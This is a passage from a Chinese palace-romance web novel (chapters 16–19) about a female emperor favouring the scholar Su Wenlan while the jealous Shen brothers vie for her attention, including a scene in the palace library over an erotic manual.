传信人:“小苏大人在里面待了一夜。”
“许是遇到些难处理的麻烦了。”
沈锐依旧镇定,搭在扶手上的手指微微颤抖了几下。
传信人:“那个……小苏大人现在还在养心殿里。”
“可能是公务处理的太晚,陛下心善,让他在那边休息。”
沈锐后牙槽咬得有点疼,额前已经布满一层细密的汗珠。
传信人小心翼翼地补充。
“敬事房的马公公从昨日就开始忙,今日还——大公子!”
16. 第 16 章
沈锐从轮椅上直直向前栽了下来。
他再也说服不了自己了。
这才过去不到一天,事情怎么就变成这个样子了?
昨天陛下来沈府时,他心里比吃了蜜都要甜,想着来日方长,只要陛下心里有他,终有一日……
现在好了。
陛下这朵贵气的花,就这么随意插到牛粪上了。
沈锐脸贴在冰冷地上,眼神放空。
等沈统和下人反应过来把他扶回轮椅上,他才堪堪回神,扬手就往自己那条伤了腿上捶。
下人连忙拉着他,不住哀求:“大公子您、您别这样!”
“大哥,你先消消火……”
沈统也难得冷静,担忧看着沈锐,走到轮椅后面扶住,示意下人退下。
他推着沈锐在后院慢慢走了会。
冰冷的风迎面扑来。
路两旁树上的积雪簌簌落在两人的头发、肩上。
沈统抬手帮沈锐抚了抚肩膀。
沈锐紧绷的肩膀此时放松下来,无力瘫靠在椅背上。
他长长叹了一口:“小统,是我大意了……”
“不怪大哥,都是那姓苏的冒牌货太卑鄙无耻!”
沈统咬牙切齿安慰着他。
沈锐微微摇头:“我原以为苏太傅本家的堂弟,会如他本人一般品行高洁。”
沈统偏着头呸了声,满脸愤懑。
“陛下大婚第二日,他就上赶着守在长春宫门前,能是什么好人?我等会就进宫找陛下,揭穿他的真面目!”
沈锐阻拦道:“眼下陛下正新鲜着,我们也不好跑到陛下跟前说些什么,显得你我心胸狭隘了。”
“心胸狭隘就狭隘!我绝不能看着陛下被奸人蒙骗的!”沈统握紧轮椅。
沈锐终于冷静下来:“小统,你别冲动,此事还需细细谋划——”
“够了!”沈统大吼一声。
树枝上的积雪被震落不少,顷刻间两人的肩上又是白皑皑一片。
他声嘶力竭道:“大哥,你总是这样,等你谋划一番,等你思索一番,可是陛下会等你吗?你总是等,等来等去,陛下迟早忘了你!”
沈锐皱眉呵道:“小统,你怎么可以怀疑我们同陛下之间的情谊?”
见沈统沉默,他语气又缓和下来。
“陛下是个重情之人,要不然怎会在太傅死后,还迎了他的牌位入宫成婚。这在历朝帝王中,都是没有的。”
“大哥,陛下真有你说的这般……”
沈统顿了顿,松开轮椅绕到他前面,半蹲下来仰头看着他,眼神真诚:“重情吗?”
“你什么意思?”沈锐面色一冷。
沈统依旧是那副表情:“先皇夫尸骨未寒,她就召了新人侍寝,那人还是先皇夫的……”
“住口!”与沈锐声音一道落下的,还有他的巴掌。
沈统被他打得头偏到一边去,脸上迅速红肿起来。
他眼眶通红,颤着牙吼出声:“大哥,分明就是你错了!”
“是你自视清高,偏要守着那些条条框框,平白叫人钻了空子。你自己守着也就罢了,你是我兄长,我处处敬着你、听着你的。你不做的事,我也不去做。”
“现在好了,苏文澜这等卑鄙无耻之徒都能上了陛下的榻。我念你尚在病中,不忍同你多说。你知道决明在宫里都听到了什么吗?”
沈锐眯了眯眼:“他听到了什么?”
沈统抬手在脸上胡乱摸了一把。
“陛下昨夜统共叫了五回水,还把人留宿在了养心殿。继皇夫的位子怕是非他莫属了!”
沈锐眼底露出惊诧。
他们昨夜都做什么了?怎会叫这么多回水?
惊诧过后,便是愤怒。这个苏文澜也太不知轻重了,就算陛下身体再好,也经不住这般……
“小统,送我进宫,我不能由着他胡来。”他语气有些急。
沈统站起身,没有去推轮椅。
反倒是抱着膀子,一脸嘲讽地看着他:“你现在知道急了?”
“陛下的身子不容马虎。”
沈锐没和他计较,认认真真解释着。
沈统啧了一声:“你这幅样子,见了陛下又能如何?你还能服侍陛下?”
沈锐方才后知后觉:“陛下昨日来,本是想让我以后侍寝,是我……”
是他没有察觉出陛下的意思。
“好了大哥。”
沈统微笑着:“事已至此,日后你我二人就各凭本事。”
沈锐愣了愣:“小统……”
沈统走到他身后:“我们陛下,并非你想象中的良善温润。她今年二十岁,是一位杀戮果断的帝王,同样也是一位武功盖世、骁勇善战的将军。”
“你不要再把她当成小姑娘了。”
沈统推着轮椅朝前去:“她喜欢太傅,又不是只喜欢太傅。她没那么重情,也没那么凉薄。”
“大哥你瞧不上以色侍人,便继续端着。只要陛下肯要我,自甘下贱也好,无名无分也罢,我都无所谓。”
他自小跟着陛下身后长大,从前是大哥挡在上面,后来是苏太傅,现在又是苏文澜。
他快要疯了。
就是以色待人,他这身皮囊不比那小白脸要强得多。陛下一时青睐苏文澜,不过是看着苏太傅的面子上。
可假的就是假的,成不了真。
陛下对他的情谊就算比不得对苏太傅浓烈,可有一点算一点,都是真真切切的。
-
沈统回宫了。
陆玄珍没想到他这么早就回来了。
见他一直盯着她脖子的看,她面色变得有些不自然。
她轻咳一声:“你哥怎么样了?怎么今日就回来了?”
沈统没像往日般直接回答。
反倒是问她:“陛下,您不想见到臣吗?”
陆玄珍被他问得愣了愣。
好一会才回过神:“怎么突然这样问朕?”
沈统委屈起来:“陛下,您以后要是不想见到臣,臣就走得远远的,再也不来碍您的眼。”
“朕什么时候不想见你了?”
陆玄珍莫名其妙的同时又有点慌,沈统鲜少这个样子,他素来直率开朗。
“您会去见大哥、见小苏大人,可您从来就不想着见见臣。”
沈统的眼睛越来越红。
他是武将,生得高大威猛、宽肩窄腰,今日虽穿常服,但也能隐隐透出衣下的肌肉。
如今这幅作态,和他很不相配。
陆玄珍心里咯噔一下。
虽说召苏文澜侍寝一事,她没想瞒着他们,她只是不想叫世人知晓。
眼下看沈统这模样。
应该是……宫里的消息怎么传得这么快?
陆玄珍随口胡诌道
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:“他们又不是日日同朕相见,只有你一直跟着朕跟前,朕难免有疏忽。”
沈统即将夺眶而出的眼泪,一下子悬在了眼眶里,进也不是退也不是。
原来陛下……是这样想的吗?
“既然回来了,想来你哥那也没什么大事了。你这几天估计也忙累了,先下去歇着吧。”
陆玄珍心虚瞥他眼。
沈统站在原地没动,只是静静盯着她的衣角看。
两人就这样待了一会。
他突然出声:“陛下,臣今年十八了。”
“你十八了?”陆玄珍诧异。
沈统高壮,长得比他哥要高半个头。她每次总是下意识忽略他年龄,没想到他今年才十八岁。
“嗯。”沈统浅浅应了声。
陆玄珍不知道他什么意思,抬手摸了摸下巴:“你哥今年有二十一了。”
见她记着沈锐年龄,没记着他的。
沈统明显有些难过,他抽了抽鼻子,又应了一声:“嗯。”
“小统是想成家了?”
陆玄珍看着他的脸,猜测起来。
沈统变得有些扭捏。
来之前,他以为自己天不怕地不怕,可一见到陛下,他脸就烧得要命。
“陛下,您、您能不能不要把臣当弟弟看了。”
“嗯?”陆玄珍挑挑眉,不解看他,“小统不就是朕的亲表弟吗?”
“可您也没把大哥看作是表兄啊。”沈统鼓足勇气道。
陆玄珍问:“朕怎么没把沈太医看作是表兄了?”
沈统涨红了脸:“反正……臣也愿意在养心殿侍奉。”
他的直白与苏文澜的不同。苏文澜的直白略微含蓄,尚带着些文人风趣。
而沈统则是那种武人大开大合的直白,长驱直入,绝不带一丝含蓄。
“陛下您能不能也给臣一个机会。”
沈统缓缓弯下身子,蹲在她膝前仰起头看着,眼中只有澄澈的真挚。
陆玄珍千想万想,没想到沈统竟会是这个想法。
她一时有些恼:“朕不喜欢左右拥抱,你别瞎想了。”
她选苏文澜。
不是单纯排解身体上的寂寞。
于她而言。
苏文澜就像是一种精神寄托,承载着她对已故苏太傅最炽热的、纯粹的,却无处安放的情感。
沈统不懂,沈锐也不懂。
“臣愿意做小……”
一旦抛开脸面,沈统就彻底没有了顾忌。
反正他原本就是打算做小的。
上面顶着大哥和太傅两座大山,他便没奢望过做正夫。
陆玄珍红着脸斥责。
“毛都没长齐呢,瞎想什么,回头朕告诉你娘你就老实了。”
沈统一脸无辜:“臣长齐了,您要不信就看看。”
“沈统!”
陆玄珍脸红得快要滴血。
她恼怒之下,大吼:“你给朕滚出去——!”
沈统立马低眉顺眼往外退。
边走边说:“陛下,臣会一直等着,只要您想要,臣随时侍奉。”
哐——
一块砚台跟他一起飞了出来。
沈统搓了搓鼻子。
他有的是耐心。陛下练的是纯阳功,体内火气旺,就苏文澜那身子骨,肯定撑不了多久。
思及此,他嘴角微微上扬。
17. 第 17 章
小梁子轻手轻脚进了屋。
把食盒里的补汤端到桌上,盘子碰到桌面发出细微声响。
苏文澜随意瞥了眼。
随后又低下头,抓了把枸杞扔到口中嚼。
小梁子看得眼皮一抽,低声提醒。
“大人,补汤好了。”
苏文澜含糊应了声。
随后端起碗一饮而尽,紫白的嘴唇终于有了几分血色。
他把碗放到手边,看向小梁子:“知道观书楼在哪吗?”
从下午醒来到现在,他想了很多。他能有今日,这张脸居功甚伟。
可也不见得全是这张脸的功劳。
倘若他是个木讷不解风情的性子,他不信陛下能对他另眼相待。
苏文澜清楚自己的优势,除了这张脸,剩下的便是善解人意。
既是优势,那便要发挥的彻彻底底才好。
“这么晚了,您去观书楼干什么?要是陛下来寻您又找不到……”
小梁子好心劝道。
“有事。”
苏文澜理了理肩上披风,头也不回地扎入漆黑夜色中。
小梁子连忙提灯跟上。
观书楼,皇室藏书之地。
其收藏书籍数量之多,种类之繁,可居天下之首。
历代皇帝对观书楼都很重视,十二个时辰不间断有人在里面整理、归类、清扫。
苏文澜到达观书楼时。
刚好赶上太监换班,那换班的两个太监边交接边说话。
他缓步在门外停下,没着急进去。
胖太监:“你猜我今天见着谁了?”
“谁啊?”另个瘦太监用手肘顶了顶他,“快说快说,神神秘秘的,德行!”
胖太监:“沈侍卫来了,你说这事稀奇不?”
瘦太监配合着倒吸口凉气:“什么!”
胖太监挤眉弄眼,夹起嗓子。
“你可别往外说,我有个同乡在敬事房做事,他说陛下近来独宠新来的那位,沈太医一病不起,沈侍卫大受打击,整个人精神瞧着都不对劲了。”
瘦太监深以为然:“估计是这样,沈侍卫自小不爱读书,要不是受了刺激,好端端也不能突然转了性。”
胖太监套好了外袄,正弓腰去拿灯,视线里突然多出道陌生的影子。
他颤颤巍巍抬起头,呼吸随即一抖:“苏大人您、您怎么来了?”
苏文澜站在门外。
昏暗的灯光从身侧洒来,只照亮了一边脸,另半张脸隐在黑暗中。
他轻轻笑了声:“我不能来这里吗?”
胖太监愣在原地。
瘦太监忙走出来打圆场:“大人您自是能来的,您要找什么书?奴婢帮您找。”
“沈侍卫来找了什么书?”苏文澜直直盯着他,没有丝毫心虚。
瘦太监眼神闪躲:“奴婢不清楚。”
苏文澜面色如常。
“劳烦带我去找沈侍卫,我有些事想和他探讨。”
“啊?”瘦太监没忍住,惊呼一声。
待回过神,用一种奇怪的眼神看了苏文澜好几眼。
“您真要去找沈侍卫吗?”
苏文澜再次点头表示肯定。
“嗯,你带路吧。”
瘦太监上前为他引路。
直到把人带到三楼的楼梯口才停住,他回头看向苏文澜。
“苏大人,沈侍卫就在里面,奴婢就先退下了。”
苏文澜挑了挑眼,往里看去。
层层书架后面亮着一盏小灯,而沈统果真就坐在书桌前,手里还捧着一本书,正聚精会神看着。
他放轻脚步,朝沈统走去。
沈统在这里待了快两个时辰了。
自从被陆玄珍拒绝,他便一头扎进了观书楼,沉浸在浩如烟海的知识中。
此时,他手上正捧着一本《龙凤呈祥》。
沈统小声读着话本。
在读到某一处时,他眼前突然一亮,声音随之变得激动起来。
“英明神武的皇帝,一时误入歧途,被狐狸精勾走了魂,善良的皇后为此痛心疾首。于是她决定让被蒙蔽的皇帝看清奸邪的真面目。”
“最终,善良的皇后成功让皇帝歧路回头,卑鄙无耻的狐狸精被天下所耻。关于皇后用过的法子……”
沈统翻书的速度快起来。
他死死盯着下一页,指尖攥到泛白,声音压抑着怒火:“欲知后事如何,请听下回分解。”
哐——!
火气没压住。
他把书往桌上重重一扔,怒冲冲从桌前站起,转身准备去寻下册。
恰好对上一双充满戏谑的桃花眸。
“你怎么在这!”沈统质问道。
苏文澜挑挑眉:“我不能来吗?”
沈统呸了一声,斜着眼看人。
“少在我面前装模作样,你能骗得了陛下,可骗不了我!”
“我对陛下真心实意,未曾骗过半分,沈侍卫何出此言?”
苏文澜微微勾唇,满眼无辜。
沈统气得说不出话,伸手指着他哆嗦了好一会,才红着脸憋出句话。
“你就是只狐狸精!”
苏文澜缓步走到桌前。
捡起那本被沈统扔下的话本,饶有兴趣翻阅起来。
偌大的观书楼内,此时只有哗哗翻书声和急促的呼吸声。
苏文澜几乎是一目十行,很快就看完了这本。
他把书一合,微笑看着沈统:“沈侍卫喜欢这种幼稚的话本子?”
沈统对他怒目而视。
“幼稚?哪里幼稚了?这可是最近刚出的,外面抢都抢不到,也就你这种不懂情趣的人才会觉得无聊!”
苏文澜突然不冷不淡笑了声,眼底是毫不掩饰的嘲讽。
沈统被这种眼神刺得难受。
他吼道:“你笑什么笑!冒牌货,迟早有一天,你会被陛下厌弃的!”
苏文澜脸色唰得冷下来。
“陛下喜欢谁,不喜欢谁,还轮不到你来置喙。沈侍卫,你在嫉妒……”
他把书随手一扔。
嘴角噙着抹冷笑:“毕竟陛下她从未这般宠幸过你。”
说罢,他转身走向另一边书架。
修长的手指从上面抽出一本书,暗黄的封面上写了“房中术”三个大字。
学无止境。
要想抓住一个女人的心,首先要先在那事上伺候好她。
最好让她念念不忘,那才叫本事。
苏文澜捧着《房中术》坐到另一张桌前,面不改色地学习里面的内容。
小梁子点了盏灯,放到他手边。
不经意瞥见书上插图,脸上立马就烧了起来,心底对苏文澜也越发敬佩。
沈统短暂消沉后,又振作起来。
找到了《龙凤呈祥》的下册,重新坐到书桌前,借着暖黄的烛光,认真阅读起来。
-
此时御书房内。<
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陆玄珍放下毛笔,起身朝外走去:“青歌,陪朕出去走走。”
“是。”青歌一手抱上斗篷,一手提着灯,紧紧跟在后面。
昨夜苏文澜侍寝后,她睡得很好。
但顾及到苏文澜身子,她今日并未选择继续召寝。
今夜外面没有下雪。
但路两侧的积雪并未融化,在雪地里走得久了,靴子上沾的雪也化了,冰冷雪水渗进里面,袜子也变得湿冷起来。
陆玄珍脚上越来越沉。
她停下来,抬头看了看高处露出的微黄烛光。
忍不住疑惑:“里面还有人?”
青歌低声劝。
“奴婢也不清楚,要不您先进去歇会,奴婢正好去给您取套鞋袜。”
她早注意到陆玄珍被雪水浸湿的鞋子,眉头紧皱不展。
陆玄珍没拒绝,她也想上去看看。
自打太傅过世,观书楼已经许久没有这么热闹过了。
于是她点点头:“你去取吧,朕先上看看。”
“是,奴婢很快就回来。”
青歌把她送到门口,才提着灯一溜烟地跑走。
听到有人来,门口原本正打瞌睡的瘦太监,一下清醒过来。
着着急急从桌子后面跑出来,跑得太急还在桌腿那里绊了脚,差点跪在地上。
在他看清陆玄珍脸后。
立马跪了下来,语无伦次道:“奴婢、奴婢见过陛下,陛下万岁万岁万万岁……”
陆玄珍微微皱眉:“你起来。”
待这太监哆哆嗦嗦从地上爬起来,她又开口:“是何人在楼上?”
瘦太监一听,差点又跪了。
“回、回陛下的话,是沈侍卫和苏大人在上面看书。”
“哦?”陆玄珍疑惑。
苏文澜她倒是还能理解,沈统?他看书?
太监还在旁边断断续续解释着。
“是沈侍卫先来的,沈侍卫来了有一会苏大人也来了,他们现在都在三楼……”
陆玄珍没再理他,径直朝楼梯去。
她倒要看看沈统到底是怎么回事?
看书,他看哪门子书?从前最不爱读书的人,除了她就是沈统了。
-
沈统不爱看书。
但不是不识字,就算看得不快,这会功夫也把手上那本《龙凤呈祥》下册看完了。
直到看到最后一页。
笔者也没写皇后到底用了什么法子,不仅让皇帝回心转意,更是亲自赶走了那个狐狸精。
这让沈统抓心挠肝的同时,又止不住多看了苏文澜几眼。
只见对方全神贯注地捧着一本书。
他忍不住好奇起来,踮着脚往对方身后走去。
沈统是习武之人,会轻功,直到他走到苏文澜身后,对方都没察觉。
他不由得意起来,挑起眼去看对方手里的书。
啪——
还未等他看清书页上的内容。
那些画图就嗖一下从他眼前飞走。
苏文澜猛得转过来,似笑非笑盯着他看:“沈侍卫有偷窥旁人的癖好?这样可不太好。”
沈统被抓包,一下涨红了脸。
他支吾着反驳:“你可别自作多情,你有什么可看的!我才没有看……”
“沈侍卫好学是好事。”
苏文澜把《房中术》塞到了沈统手中,语气嘲讽:“你看了也没用,我可先提醒你,看完别上火就行。”
18. 第 18 章
沈统骂人的话都到了嘴边。
但他低头一看那书,立马又咽了下去,脸色红到像是滴血,不知是气得还是羞得。
到底还是个不经人事的小子,沈统哪里见过这般露骨的书。
当即压低声音质问:“你、你看这个做什么?”
苏文澜一脸理所当然:“自是有用才会看。”
眼角流露出几分得意与不屑。
仿佛在在说:看,就算你们兄弟二人与陛下一同长大,可她还是选了他。
沈统罕见地没有同他争吵。
攥着书的那只手紧了紧,径直走回桌前借着灯看起来。
他眼底没有一丝情欲,只有对知识的渴求。
如今苏文澜占了上风。
自然是不屑与手下败将生气,他好心情地走到一旁书架,打算再寻一本画册看。
修长的手指轻轻抚过书架。
他仔细查看着上面每一本书,直到指尖落在一本名为《三十六式》的书脊上时,停下了。
苏文澜边把书取下来边思考着,三十六式?会是哪三十六式?
跪着、躺着、趴着、站着……
除了这些,还能有什么?
方才那本《房中术》中规中矩。
没有什么稀奇古怪的招式,只是详细介绍了一些技巧,还有助兴的香料、药酒。
苏文澜来了兴致,快步回到桌前。
落座时却不小心把椅子弄出点动静,他赶忙瞥了眼另一侧,见沈统专心致志看书,松了口气。
然后郑重其事地翻开了书。
第一页只写了一行字:
治国齐家平天下。
这事有这么重要?苏文澜往下翻页的手一停,仔细思索了会。
好像……也不是没有道理?
帝王的后宫,不仅关系到她的身体、心情,也关系到江山后继有人。
这么看,的确是天大的事。
而他要做的就是让陛下身心愉悦。
苏文澜表情瞬间严肃起来,板着脸把书翻到下一页。
他还未看清上面的字,陆玄珍的声音就从楼梯上传来。
“沈统?你还真在这里啊!”
陆玄珍刚上来就看到沈统聚精会神坐于桌前,手里还捧着本书,不由惊讶打趣他。
然而沈统反应却和她想的不一样。
“陛下?怎、怎么会是您?”
沈统一脸惊慌地从椅子上弹起来,双手飞快把书藏到身后。
陆玄珍一眼看出沈统的不自然。
一个箭步冲上前,朝他伸出手:“看的什么?”
暖黄烛光映在沈统脸上,衬得他面颊那抹绯红更加旖旎。
沈统缩缩脖子,手死死藏着身后。
他整个人从脸到脖子,一路向下直到脚跟,都烧得让人心里发慌。
怎么办,要被发现了!要是因此给陛下留下不好的印象……
与此同时,陆玄珍正板着脸,怀疑打量着沈统。
他这幅做贼心虚的模样,该不会是背着她做了什么见得不人的事吧?
可他今年才十八岁啊!
想到这里,陆玄珍顿感痛心疾首。
毕竟是一同长大的表弟,多年的情意也让她不忍看沈统误入歧途。
“拿出来。”她强硬命令道。
“陛、陛下,就是寻常的话本子,没有什么可看的……”
沈统声音越来越小,说到后面几乎要听不见了,他向来直率,鲜少这样。
原本没当回事的陆玄珍,这会也嗅出一丝不同寻常。
她声音隐隐带上几分怒意与担心:“沈统。”
沈统心下慌得更厉害了些。
他匆忙抬头扫了眼,瞥见一旁苏文澜脸上的笑,心里愤恨的同时,竟意外平静下来。
沈统扭头盯着苏文澜,咬牙说道:“这书是小苏大人借给臣的,陛下您要实在想知道,就让小苏大人来说吧。”
顺着沈统视线,陆玄珍注意到另一边的苏文澜。
他正站着,身前还大大方方摊开一本书,似乎并没有什么见不得人的。
陆玄珍皱皱眉,往那边挪了步。
一把捞起了桌上的书,托在手里翻看起来。
沈统目光紧紧黏在她脸上。
见她眉头越皱越紧、面色越来越凝重,他内心放松之余还带了几分窃喜。
陛下能看清苏文澜的真面目了!
他恋恋不舍把目光从陆玄珍身上挪开,想要欣赏一下苏文澜惊慌、绝望的神情。
然而,并没有。
苏文澜依旧一脸淡定,嘴角挂着浅浅微笑,似乎对一切胸有成竹。
沈统不解,并大为震惊。
被陛下抓到看那种东西也不担心吗?就这么自信吗?
随即他便露出一副看好戏的模样。
啪——
陆玄珍把书合好放回了桌上。
她走到苏文澜面前,一脸复杂看着他:“文澜,你……”
沈统盯着这边,微微扬起嘴角。
然而很快,那个尚未完成的笑便凝在了脸上。
陆玄珍轻轻拍了下苏文澜的肩。
语气半是无奈半是疼惜:“这么晚了,你先回去休息,公事再要紧也不急这一时半会。”
方才沈统那样子,她还以为……
不过眼下看来,只是个误会而已。毕竟一个这么晚都在看《治学三十六式》的人,能做什么不好的事?
苏文澜默默注视了陆玄珍一会,眼中似有晶莹闪烁。
过了好一会,他垂下眸,温声道。
“陛下,您对臣有知遇之恩,又这么看重臣,对臣委以重任。因此臣心里一直记着您的恩,总想再多做些什么。既然您希望臣身安体健,臣便听您的,以后绝不会这么晚看书。”
陆玄珍嘴角微微扬起。
暖黄的烛光包围着她,眉眼处的凌厉淡淡融化,望向苏文澜的眼底染上几分暖意。
“文澜,朕都知道。”
她知道苏文澜知恩图报。
他能记着太傅对他的恩,在对方意外身故后一日不落按时祭拜,便是有心。
虽说他易敏感多心,可这也并非苏文澜本意,这都是苏氏族中环境所致。
而且,这也算不上什么问题。
陆玄珍能清楚感受到自己的心,正一点点偏到苏文澜身上。
对于这种改变,她并不抗拒。
甚至放纵自己逐渐沉溺其中,苏文澜与苏太傅两人身影,也逐渐重叠到一起。
她想这就是不得已下的最好了。
苏文澜垂下的睫毛抖了抖,嘴角漾开一抹发自内心的笑。
“陛下,您要找什么书?臣和您一块找,等找到您也早些回去休息吧。”<
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p>他一提书,陆玄珍想起了沈统。
她偏脸看去,就见沈统那么个大高个,缩着脖子往阴暗的角落里躲。
胸前鼓鼓囊囊的,不知藏了什么。
“文澜,他向你借了什么书?”
陆玄珍直接问苏文澜。
看沈统那心虚样,估计也不会和她说实话,问了也是白问。
苏文澜嘴角弧度更大了些。
声音依旧温和:“陛下,您不要怪沈侍卫,他血气方刚的年纪,看那种书也是人之常情。”
那种书?哪种书?
陆玄珍折回沈统面前,趁他还未反应,伸手将他胸前所藏之物掏了出来。
果真是那本书。
她今天还非要看看,沈统到底背着她看什么鬼东西!
陆玄珍抓着书快步行至桌前。
借着明亮烛光,看清了封面上的三个字——
房中术。
房中术!
她抬头盯着沈统,满脸一言难尽,这既在意料之中,又在意料之外。
想起沈统不久前刚说过的话,她耳根微微发烫。
他是真长大了,真长大了!
都知道看这种东西了。
苏文澜的声音从一旁传来。
“陛下,沈侍卫如今到了可以娶妻的年龄,想看这种书也正常。他想看,臣便为他从书架上寻来了本。您要怪就怪臣吧,莫要生沈侍卫的气……”
“苏文澜你、你别胡说八道!”
沈统听到苏文澜颠倒黑白,气得满脸通红,解释的话哽在喉头。
然而他这模样落在陆玄珍眼中,倒成了心虚的证据。
她把脸一板:“沈统,你站好!”
沈统噤了声,乖乖在原地站好。
陆玄珍继续道:“你知道自己哪里错了吗?”
沈统不假思索答:“臣不该看这种书。”
他今天点怎么这么背,苏文澜看的时候什么事都没有,怎得他刚一看,陛下就来了。
而且说都说不清。
“错!”陆玄珍声音突然大了一下。
沈统一个激灵抬头看着她,一脸茫然。
见此,陆玄珍无奈叹了口气。
她语重心长道:“小统,你也十八了,有这种情欲是正常的,看点书也没什么坏处,一些事你早晚要懂。”
“是。”沈统低了低头。
陆玄珍又道:“你不该躲着朕,也不该瞒着朕,这又不是什么见不得人的事,小统,现在知道自己错哪了吗?”
沈统头埋得更低了些,久久沉默着没有回应。
陆玄珍皱了皱眉:“小统?”
沈统:“嗯……”
他声音给人一种又沉又闷的感觉,好像还带了些鼻音。
就算陆玄珍再心大,这会也察觉出几分不对劲。
她弯下腰,仰着脸去看沈统。
沈统眼睛红红的,宛如两个红灯笼。嘴巴抿成了一条直线,还紧紧咬着牙。就好像……
受了天大的委屈一样!
“怎么了?”陆玄珍问。
见沈统还不说,她又重复了遍:“到底怎么了,小统,告诉朕。”
她声音隐隐带上几分强硬。
沈统终于有了反应。
他抬头看向陆玄珍身后,然后缓缓伸出了一根手指。
“表姐,苏文澜他冤枉我!”
19. 第 19 章
沈统气得手指都在抖。
原本那点被抓到看《房中术》的扭捏与害羞,已全被他抛之脑后。
眼下新仇加旧恨,他指着苏文澜破口大骂起来。
“陛下,这书就是他的!您来之前,他就已经看过了。臣好奇才凑上去看,他还故意奚落了臣一顿。臣自幼便跟着您,臣人品如何您再清楚不过。臣从来没有事瞒着您,更何况是骗您。”
“可他就不一定了!”
沈统狠狠瞪了苏文澜一眼。
陆玄珍仔细盯着沈统看了会。
他向来直率,倒真是不会骗人,但凡有点什么心思也全都写在了脸上。
她眸色一沉:“文澜,你告诉朕,这书是谁拿来的?”
沈统见苏文澜被责问。
情绪终于平静下来,抱着膀子立在一旁准备看好戏。
“是臣拿来的。”
苏文澜不慌不忙,一脸淡定。
“陛下,他承认了!您快罚他!”
沈统见他这般回答,瞬间幸灾乐祸起来,眉眼间全是得意。
陆玄珍看他这样子,总感觉似曾相识。
她扯了扯嘴角,视线在沈、苏二人间来回游走。
其实这压根也算不上什么事。
他们都这般年岁了,观阅《房中术》一类的书也不过是人之常情。
陆玄珍在这种方面向来没有什么可避讳的。
在她看来,这种事情只要双方皆是自愿,便足够了,便可以毫无负担的进行下去。
见苏文澜如此坦荡。
陆玄珍心底那一点不虞也消散无踪。
想来他是觉得第一次侍寝太过生涩?所以特意来此学习一番?
学完侍寝技巧后,趁着还有精力,便再继续查阅一些有助民学的书籍。
她抬眼看向苏文澜。
两人视线交织的一瞬,似乎皆有所感,同时扬起了唇。
苏文澜:“陛下,臣以后不会把这种书拿出来了。”
陆玄珍轻轻嗯了一声。
“好。”苏文澜凑过来些,衣袖下的那只手悄悄捏了捏陆玄珍的手。
她垂在身旁的手突然僵了下,正想张口说点什么,楼梯上传来一阵脚步声。
青歌抱着干净的鞋袜回来了。
她小脸通红:“陛下,奴婢拿的是那套麂皮的,今夜天凉,外面一直刮北风,您脚上那双先前泡了雪水,得快换下来。”
陆玄珍坐到最近的木椅上。
弯下身子去脱脚上半湿的鞋袜,刚脱了半只,视线中就出现了两个漆黑的发顶。
“陛下,让臣来。”
苏文澜仰头看她,眉眼弯弯,满是关切。
另个人是青歌。
她似乎是没有料到苏文澜的举动,呆愣愣蹲在原地,面上有些不知所措。
不过眨眼功夫。
苏文澜就已脱掉了一只鞋袜,他躬身跪在地上,温柔把她的脚托在胸前。
青歌终于反应过来:“苏大人,还是让奴婢来吧。”
怕苏文澜不同意,青歌还又补充了一句“陛下习惯奴婢伺候了”。
然而苏文澜依旧蹲在原地,置若罔闻。
“苏、苏文澜,你在干什么!”
沈统这一嗓子喊完,安静的观书楼三层一遍遍回荡着他愤怒的质问。
陆玄珍眼睁睁看着膝前多出一颗毛茸茸的脑袋。
沈统一下子挤到了最前面。
他本就生得高大,加上常年习武练了一身腱子肉,可以说是块头又大,力气又足。
他这一来,先蹲下的苏文澜和青歌二人立马被撞得左摇右晃。
尤其是苏文澜。
更是一个趔趄直接被沈统撞了出去,他也不用假摔,直接顺其自然磕到了桌腿上。
苏文澜坐在地上,一只手支撑着身体,另只手摸了摸头上磕到的地方。
然后冲陆玄珍露出一个安抚的笑:“没事,不疼。”
他故作坚强的模样,看起来更让人心疼了。
况且陆玄珍本身对他就多有怜爱。
“怎么会不疼?那么响一声,朕都听到了。”
陆玄珍赤足跳到地上。
走近看到苏文澜泛红的眼角,心口又是一紧,伸手把人从地上扶到一旁。
她边换鞋袜边安排起来。
“等会朕先送你回长春宫,青歌你去太医院请太医,这一下可不轻,得好好看看。”
“陛下、陛下,臣不是故意的,臣没想到会撞到人……”
沈统反应过来,心直直往下坠。
他垂下头,眼底划过一丝愤恨,苏文澜这个贱人,惯会使这等下作手段。
陆玄珍黑下脸。
她不仅将沈统看作是亲信侍卫,也将其当成是弟弟爱护。往日沈统多有冒失鲁莽,她也宽容包涵。
今天他属实是有些过了。
“沈统,念在往日情分上,这次便先禁足一月,没有朕的允许不得离开沈府入宫。同时,把男训、男则、男诫手抄一百遍,一月后带过来!”
陆玄珍冷声说完,扶起一旁苏文澜,头也不回离开了观书楼。
沈统大惊失色,从地上站起来,踉踉跄跄追了几步,又怕惹到陆玄珍,只得作罢。
他跑到窗边往楼下看去。
借着清冷月光,他看到雪地中相互依偎的两人,瞬间红了双眼。
-
老太医看过苏文澜伤口后。
转身从药箱里取出一瓶药膏,叮嘱道:“每日早晚各涂一次,七日之内就好了。”
陆玄珍微微颔首:“青歌,送李太医回去,这么晚辛苦了。”
李太医拱了拱手,识相退下。
长春宫偏殿卧房只剩下陆玄珍与苏文澜二人。
陆玄珍取过桌上药膏坐到床边,轻柔往他额角涂上了薄薄一层。
方才没仔细看,这会她才看清,这一大片都红了。
她顿时又疼又气:“还疼不疼?沈统也真是没个轻重,以后他要是欺负你,你当场还回去,朕也不能时刻都看着。”
“陛下,臣真的不疼,您别担心臣,只是些小伤——”
苏文澜低声安抚道。
陆玄珍打断他:“什么叫小伤,你是文人,哪能和沈统这种皮糙肉厚的武人比?”
苏文澜垂着头没说话。
陆玄珍继续说:“要是真打他一顿那也容易,不过估计他也不怕,所以朕才罚他在家里抄书。”
“陛下,沈侍卫毕竟不是故意的,他也是关心您,您、您……”
苏文澜抬头看她。
他话未说完,额上突然感到一道温软落下。
陆玄珍避开他肿起的额角,轻轻亲了亲他的眉心。
这个吻……
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很纯洁。
除了爱怜外,没有掺杂一丝其他情愫。
苏文澜几乎忘了呼吸。
一股莫大惶恐突然萦绕在他心口,说不上来的慌乱与心虚。
明知这份感情来得并不光明,明知现在所有的一切都是靠太傅偷来的。
可他仍是不可抑制沉沦进来。
这是他短暂生命中为数不多的,或者说仅有的……爱。
苏文澜将这种感情当做是爱。
他喜欢被爱包围的感觉,真的很喜欢,很喜欢,很喜欢。哪怕将来要为此付出沉重的代价,可他仍甘之如饴。
他爱陆玄珍,陆玄珍现在也爱他。
这是最好的事,世上没有比这更美好的事了。
见苏文澜痴痴望着她。
